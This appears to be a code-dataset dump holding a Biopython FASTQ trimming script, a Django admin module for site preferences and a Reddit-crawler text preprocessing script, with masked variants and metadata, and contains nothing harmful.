from Bio import SeqIO
import sys
RECORD_BUFFER_SIZE = 100000
start = int(sys.argv[1]) - 1
end = int(sys.argv[2])
for s in sys.argv[3:]:
file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')
r_list = []
size = 0
for r in SeqIO.parse(s, 'fastq'):
r_list.append(r[start:end])
size += 1
if size == RECORD_BUFFER_SIZE:
SeqIO.write(r_list, file, 'fastq')
r_list = []
size = 0
if size > 0:
SeqIO.write(r_list, file, 'fastq')
file.close()
<|reserved_special_token_1|>
# Author: Kenneth Lui <[email protected]>
# Last Updated on: 01-11-2012
## Usage: python ~/code/python/001_Fastq_Trimming.py <FIRST BASE> <LAST BASE> <FASTQ FILES....>
## Bases are inclusive and 1-based
#from Bio.SeqIO.QualityIO import FastqGeneralIterator
#handle = open(sys.argv[2], 'w')
#for title, seq, qual in FastqGeneralIterator(open(sys.argv[1])):
# handle.write("@%s\n%s\n+\n%\n" % (title, seq[...:...], qual[...:...]))
#handle.close()
from Bio import SeqIO
import sys
RECORD_BUFFER_SIZE = 100000
start = int(sys.argv[1]) - 1
end = int(sys.argv[2])
for s in sys.argv[3:]:
file = open(s + "." + sys.argv[1] + "-" + sys.argv[2] + ".trimmed", 'w')
r_list = []
size = 0
for r in SeqIO.parse(s, "fastq"):
r_list.append(r[start:end])
size += 1
if size == RECORD_BUFFER_SIZE:
SeqIO.write(r_list, file, "fastq")
r_list = []
size = 0
if size > 0:
SeqIO.write(r_list, file, "fastq")
file.close()
|
flexible
|
{
"blob_id": "4a8663531f303da29371078e34dc7224fc4580e3",
"index": 6283,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n",
"step-3": "<mask token>\nRECORD_BUFFER_SIZE = 100000\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n",
"step-4": "from Bio import SeqIO\nimport sys\nRECORD_BUFFER_SIZE = 100000\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n",
"step-5": "# Author: Kenneth Lui <[email protected]>\n# Last Updated on: 01-11-2012\n## Usage: python ~/code/python/001_Fastq_Trimming.py <FIRST BASE> <LAST BASE> <FASTQ FILES....>\n## Bases are inclusive and 1-based\n\n#from Bio.SeqIO.QualityIO import FastqGeneralIterator\n#handle = open(sys.argv[2], 'w')\n#for title, seq, qual in FastqGeneralIterator(open(sys.argv[1])):\n# handle.write(\"@%s\\n%s\\n+\\n%\\n\" % (title, seq[...:...], qual[...:...]))\n#handle.close()\n\nfrom Bio import SeqIO\nimport sys\n\nRECORD_BUFFER_SIZE = 100000\n\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\n\nfor s in sys.argv[3:]:\n\tfile = open(s + \".\" + sys.argv[1] + \"-\" + sys.argv[2] + \".trimmed\", 'w')\n\tr_list = []\n\tsize = 0\n\tfor r in SeqIO.parse(s, \"fastq\"):\n\t\tr_list.append(r[start:end])\n\t\tsize += 1\n\t\tif size == RECORD_BUFFER_SIZE: \n\t\t\tSeqIO.write(r_list, file, \"fastq\")\n\t\t\tr_list = []\n\t\t\tsize = 0\n\tif size > 0: \n\t\tSeqIO.write(r_list, file, \"fastq\")\n\tfile.close()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class WebsitePreferencesInstanceInline(admin.TabularInline):
model = WebsitePreferences
class SiteAdmin(admin.ModelAdmin):
list_filter = 'domain', 'name'
inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class WebsiteDataAdmin(admin.ModelAdmin):
def get_urls(self):
urls = super(WebsiteDataAdmin, self).get_urls()
my_urls = [url('^create-defaults/$', self.admin_site.admin_view(
self.create_defaults))]
return my_urls + urls
<|reserved_special_token_0|>
def create_defaults(self, request):
"""Function to create default keys and themes"""
ThemeKeys_obj = ThemeKeys()
ThemeKeys_obj.create_default_keys()
WebsitePreferenceKeys_obj = WebsitePreferenceKeys()
WebsitePreferenceKeys_obj.create_default_keys()
context = {'title': 'Creazione chiavi e temi di default', 'opts':
self.model._meta, 'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser, 'site_url': '/'}
messages.add_message(request, messages.SUCCESS,
'Valori di default creati con successo.')
return render(request, 'admin/custom_view/create_defaults.html',
context)
def get_model_perms(self, request):
"""
https://stackoverflow.com/questions/2431727/django-admin-hide-a-model
Return empty perms dict thus hiding the model from admin index.
Per far funzionare le custom view dell'app website_data ma nascondendo
tutti i modelli, in questo modo gli url funzionano ma nell'admin non si
vede nessun modello da modificare/aggiungere.
"""
return {}
class CustomSiteInstanceInline(admin.StackedInline):
model = CustomSites
class WebsitePreferencesInstanceInline(admin.TabularInline):
model = WebsitePreferences
class SiteAdmin(admin.ModelAdmin):
list_filter = 'domain', 'name'
inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class WebsiteDataAdmin(admin.ModelAdmin):
def get_urls(self):
urls = super(WebsiteDataAdmin, self).get_urls()
my_urls = [url('^create-defaults/$', self.admin_site.admin_view(
self.create_defaults))]
return my_urls + urls
"""
def edit_site(self, request, site_id):
""Function to select a site to edit""
WebsiteData_obj = WebsiteData()
Site_obj = Site.objects.get(pk=site_id)
if request.method == 'POST':
form = EditTextSiteForm(request.POST)
if form.is_valid():
# TODO: salvo i valori delle relative chiavi
WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)
# pagina di successo con i dati aggiornati precompilati
messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')
return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST
else:
form = EditTextSiteForm() # An unbound form
# precompilo la post con eventuali valori presenti
request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)
# logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST))
context = {
'form' : form,
'post': request.POST,
'title': "Modifica informazioni sito: " + str(Site_obj.domain),
'opts': self.model._meta,
'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser,
'site_url': '/',
}
return render(request, 'admin/custom_view/edit_site.html', context)
"""
def create_defaults(self, request):
"""Function to create default keys and themes"""
ThemeKeys_obj = ThemeKeys()
ThemeKeys_obj.create_default_keys()
WebsitePreferenceKeys_obj = WebsitePreferenceKeys()
WebsitePreferenceKeys_obj.create_default_keys()
context = {'title': 'Creazione chiavi e temi di default', 'opts':
self.model._meta, 'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser, 'site_url': '/'}
messages.add_message(request, messages.SUCCESS,
'Valori di default creati con successo.')
return render(request, 'admin/custom_view/create_defaults.html',
context)
def get_model_perms(self, request):
"""
https://stackoverflow.com/questions/2431727/django-admin-hide-a-model
Return empty perms dict thus hiding the model from admin index.
Per far funzionare le custom view dell'app website_data ma nascondendo
tutti i modelli, in questo modo gli url funzionano ma nell'admin non si
vede nessun modello da modificare/aggiungere.
"""
return {}
class CustomSiteInstanceInline(admin.StackedInline):
model = CustomSites
class WebsitePreferencesInstanceInline(admin.TabularInline):
model = WebsitePreferences
class SiteAdmin(admin.ModelAdmin):
list_filter = 'domain', 'name'
inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]
<|reserved_special_token_0|>
admin.site.unregister(Site)
admin.site.register(Site, SiteAdmin)
admin.site.register(WebsiteData, WebsiteDataAdmin)
<|reserved_special_token_1|>
from django.contrib import admin, messages
from django.conf.urls import url
from django.shortcuts import render
from django.contrib.sites.models import Site
from django.http import HttpResponseRedirect, HttpResponse
from website_data.models import *
from website_data.forms import *
import logging
logger = logging.getLogger(__name__)
class WebsiteDataAdmin(admin.ModelAdmin):
def get_urls(self):
urls = super(WebsiteDataAdmin, self).get_urls()
my_urls = [url('^create-defaults/$', self.admin_site.admin_view(
self.create_defaults))]
return my_urls + urls
"""
def edit_site(self, request, site_id):
""Function to select a site to edit""
WebsiteData_obj = WebsiteData()
Site_obj = Site.objects.get(pk=site_id)
if request.method == 'POST':
form = EditTextSiteForm(request.POST)
if form.is_valid():
# TODO: salvo i valori delle relative chiavi
WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)
# pagina di successo con i dati aggiornati precompilati
messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')
return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST
else:
form = EditTextSiteForm() # An unbound form
# precompilo la post con eventuali valori presenti
request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)
# logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST))
context = {
'form' : form,
'post': request.POST,
'title': "Modifica informazioni sito: " + str(Site_obj.domain),
'opts': self.model._meta,
'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser,
'site_url': '/',
}
return render(request, 'admin/custom_view/edit_site.html', context)
"""
def create_defaults(self, request):
"""Function to create default keys and themes"""
ThemeKeys_obj = ThemeKeys()
ThemeKeys_obj.create_default_keys()
WebsitePreferenceKeys_obj = WebsitePreferenceKeys()
WebsitePreferenceKeys_obj.create_default_keys()
context = {'title': 'Creazione chiavi e temi di default', 'opts':
self.model._meta, 'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser, 'site_url': '/'}
messages.add_message(request, messages.SUCCESS,
'Valori di default creati con successo.')
return render(request, 'admin/custom_view/create_defaults.html',
context)
def get_model_perms(self, request):
"""
https://stackoverflow.com/questions/2431727/django-admin-hide-a-model
Return empty perms dict thus hiding the model from admin index.
Per far funzionare le custom view dell'app website_data ma nascondendo
tutti i modelli, in questo modo gli url funzionano ma nell'admin non si
vede nessun modello da modificare/aggiungere.
"""
return {}
class CustomSiteInstanceInline(admin.StackedInline):
model = CustomSites
class WebsitePreferencesInstanceInline(admin.TabularInline):
model = WebsitePreferences
class SiteAdmin(admin.ModelAdmin):
list_filter = 'domain', 'name'
inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]
<|reserved_special_token_0|>
admin.site.unregister(Site)
admin.site.register(Site, SiteAdmin)
admin.site.register(WebsiteData, WebsiteDataAdmin)
<|reserved_special_token_1|>
from django.contrib import admin, messages
from django.conf.urls import url
from django.shortcuts import render
from django.contrib.sites.models import Site
from django.http import HttpResponseRedirect, HttpResponse
from website_data.models import *
from website_data.forms import *
import logging
# Get an instance of a logger
logger = logging.getLogger(__name__)
class WebsiteDataAdmin(admin.ModelAdmin):
# URLs overwriting to add new admin views (with auth check and without cache)
def get_urls(self):
urls = super(WebsiteDataAdmin, self).get_urls()
my_urls = [
# url(r'^edit-site/(?:(?P<site_id>\d+)/)$', self.admin_site.admin_view(self.edit_site)),
url(r'^create-defaults/$', self.admin_site.admin_view(self.create_defaults)),
]
# return custom URLs with default URLs
return my_urls + urls
"""
def edit_site(self, request, site_id):
""Function to select a site to edit""
WebsiteData_obj = WebsiteData()
Site_obj = Site.objects.get(pk=site_id)
if request.method == 'POST':
form = EditTextSiteForm(request.POST)
if form.is_valid():
# TODO: salvo i valori delle relative chiavi
WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)
# pagina di successo con i dati aggiornati precompilati
messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')
return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST
else:
form = EditTextSiteForm() # An unbound form
# precompilo la post con eventuali valori presenti
request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)
# logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST))
context = {
'form' : form,
'post': request.POST,
'title': "Modifica informazioni sito: " + str(Site_obj.domain),
'opts': self.model._meta,
'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser,
'site_url': '/',
}
return render(request, 'admin/custom_view/edit_site.html', context)
"""
def create_defaults(self, request):
"""Function to create default keys and themes"""
ThemeKeys_obj = ThemeKeys()
ThemeKeys_obj.create_default_keys()
WebsitePreferenceKeys_obj = WebsitePreferenceKeys()
WebsitePreferenceKeys_obj.create_default_keys()
context = {
'title': "Creazione chiavi e temi di default",
'opts': self.model._meta,
'app_label': self.model._meta.app_label,
'has_permission': request.user.is_superuser,
'site_url': '/',
}
messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.')
return render(request, 'admin/custom_view/create_defaults.html', context)
def get_model_perms(self, request):
"""
https://stackoverflow.com/questions/2431727/django-admin-hide-a-model
Return empty perms dict thus hiding the model from admin index.
Per far funzionare le custom view dell'app website_data ma nascondendo
tutti i modelli, in questo modo gli url funzionano ma nell'admin non si
vede nessun modello da modificare/aggiungere.
"""
return {}
class CustomSiteInstanceInline(admin.StackedInline):
model = CustomSites
class WebsitePreferencesInstanceInline(admin.TabularInline):
model = WebsitePreferences
# Define a new Site admin
class SiteAdmin(admin.ModelAdmin):
list_filter = ('domain', 'name')
inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]
# TODO: pagine aggiuntive per l'admin (da usare solo per debug o manutenzione)
"""
admin.site.register(Themes)
admin.site.register(ThemeKeys)
admin.site.register(WebsitePreferences)
admin.site.register(WebsitePreferenceKeys)
admin.site.register(CustomSites)
"""
admin.site.unregister(Site)
admin.site.register(Site, SiteAdmin)
admin.site.register(WebsiteData, WebsiteDataAdmin)
|
flexible
|
{
"blob_id": "614d6484678890df2ae0f750a3cad51a2b9bd1c6",
"index": 2315,
"step-1": "<mask token>\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n <mask token>\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n",
"step-4": "from django.contrib import admin, messages\nfrom django.conf.urls import url\nfrom django.shortcuts import render\nfrom django.contrib.sites.models import Site\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom website_data.models import *\nfrom website_data.forms import *\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n",
"step-5": "from django.contrib import admin, messages\nfrom django.conf.urls import url\nfrom django.shortcuts import render\nfrom django.contrib.sites.models import Site\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom website_data.models import *\nfrom website_data.forms import *\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n # URLs overwriting to add new admin views (with auth check and without cache)\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [\n # url(r'^edit-site/(?:(?P<site_id>\\d+)/)$', self.admin_site.admin_view(self.edit_site)),\n url(r'^create-defaults/$', self.admin_site.admin_view(self.create_defaults)),\n ]\n\n # return custom URLs with default URLs\n return my_urls + urls\n\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n\n context = {\n 'title': \"Creazione chiavi e temi di default\",\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.')\n\n return render(request, 'admin/custom_view/create_defaults.html', context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n# Define a new Site admin\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = ('domain', 'name')\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n# TODO: pagine aggiuntive per l'admin (da usare solo per debug o manutenzione)\n\"\"\"\nadmin.site.register(Themes)\nadmin.site.register(ThemeKeys)\nadmin.site.register(WebsitePreferences)\nadmin.site.register(WebsitePreferenceKeys)\nadmin.site.register(CustomSites)\n\"\"\"\n\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n",
"step-ids": [
4,
10,
12,
14,
15
]
}
|
[
4,
10,
12,
14,
15
] |
import pymongo
import pandas as pd
import re
from pymongo import MongoClient
from nltk.corpus import stopwords
from nltk import word_tokenize
from gensim import corpora
import pickle
client = MongoClient()
db = client.redditCrawler
collection = db.data_test1
def remove_posts(data, index_list):
data = data.drop(index_list)
return data.reset_index(drop=True)
data = pd.DataFrame(list(collection.find()))
mod_posts = [i for i in range(len(data)) if 'moronic Monday' in data['title'][i]]
#remove all the mod posts that include 'moronic Monday'
data = remove_posts(data, mod_posts)
titles = data['title']
content = data['post']
comments = data['comments']
# collect only the comments without vote scores, dates, etc
comments_in_thread = []
for index, thread in enumerate(comments):
aggregate = []
for comment in thread:
if type(comment['comment_reply']) == str:
aggregate.append(comment['comment_reply'].lower())
comments_in_thread.append(aggregate)
comments = comments_in_thread
#number of titles and post need to be the same
assert len(titles) == len(content)
assert len(comments) == len(content)
#preprocess
stop_words = stopwords.words('english')
stop_words.extend(['would',
'people',
'money',
'think',
'thinks',
'thanks',
'thing',
'things',
'ok',
'nt',
'actually',
'like',
'get',
'even',
'could',
'also',
])
#Function to clean off each dataset item; stop words (what, if, is, where, how, I, she)
def preprocess(text):
#no content/nan/len of 0
#text = [re.sub('[^a-zA-Z0-9]+', ' ', word) for word in text]
text = text.lower()
text = text.replace('$', ' ')
text = text.replace('-', ' ')
text = text.replace("/", ' ')
text = text.replace(".", ' ')
text = word_tokenize(text)
## text = [re.sub('[^a-zA-Z0-9]+', '', word) for word in text]
text = [word for word in text if word not in stop_words]
text = [word for word in text if word.isalpha()]
return text
#pass titles and comments through pre-processor
titles = [preprocess(title) for title in titles]
posts = [preprocess(text) for text in content]
# process comments
##comments = [[preprocess(comment) for comment in thread] for thread in comments]
temp = []
for i, thread in enumerate(comments):
temp_thread = []
temp_thread.extend(titles[i])
for comment in thread:
temp_thread.extend(preprocess(comment))
temp.append(temp_thread)
comments = temp
# form a list of dictionaries for each title, compile
# each word and its corresponding frequencies in the post's comment section
list_of_dict = []
for index, title in enumerate(titles):
text = ''
bag_of_words = set(title)
text = ' '.join(comments_in_thread[index])
## text = comments[index]
dictionary = {word:text.count(word) for word in bag_of_words if text.count(word) > 0}
list_of_dict.append(dictionary)
title_keywords = [list(Dict.keys()) if len(Dict) > 0 else [0] for Dict in list_of_dict]
title_keywords = [word for sublist in title_keywords for word in sublist if word != 0 ]
title_keywords = set(title_keywords)
##title_keywords = set(title_keywords)
##count the number of keywords in the comment section
def count_keywords(comments, keywords):
## sample = ' '.join(comments).split()
return {word: comments.count(word) for word in keywords if comments.count(word) > 0}
keyword_dict = [count_keywords(comment, title_keywords) for comment in comments]
for index, thread in enumerate(keyword_dict):
#normalize each keyword by the number of words present
df = pd.DataFrame()
df['word'] = thread.keys()
df['count'] = thread.values()
df = df.sort_values('count', ascending = False)
#dividing by number of words in each thread
## df['frequency'] = df['count']/(len(comments[index]))
df['frequency'] = df['count']/(1+len(comments_in_thread[index]))
df['count'] = df['count']/(len(comments[index]))**0.5
keyword_dict[index] = df.reset_index(drop=True)
#save varialbes
variables = [data['title'], titles, posts, comments, comments_in_thread,
list_of_dict, title_keywords, keyword_dict]
with open('variables.txt', 'wb') as fp:
pickle.dump(variables, fp)
|
normal
|
{
"blob_id": "341fb4442ba1d1bb13dbbe123e1051e1ceeb91e7",
"index": 4431,
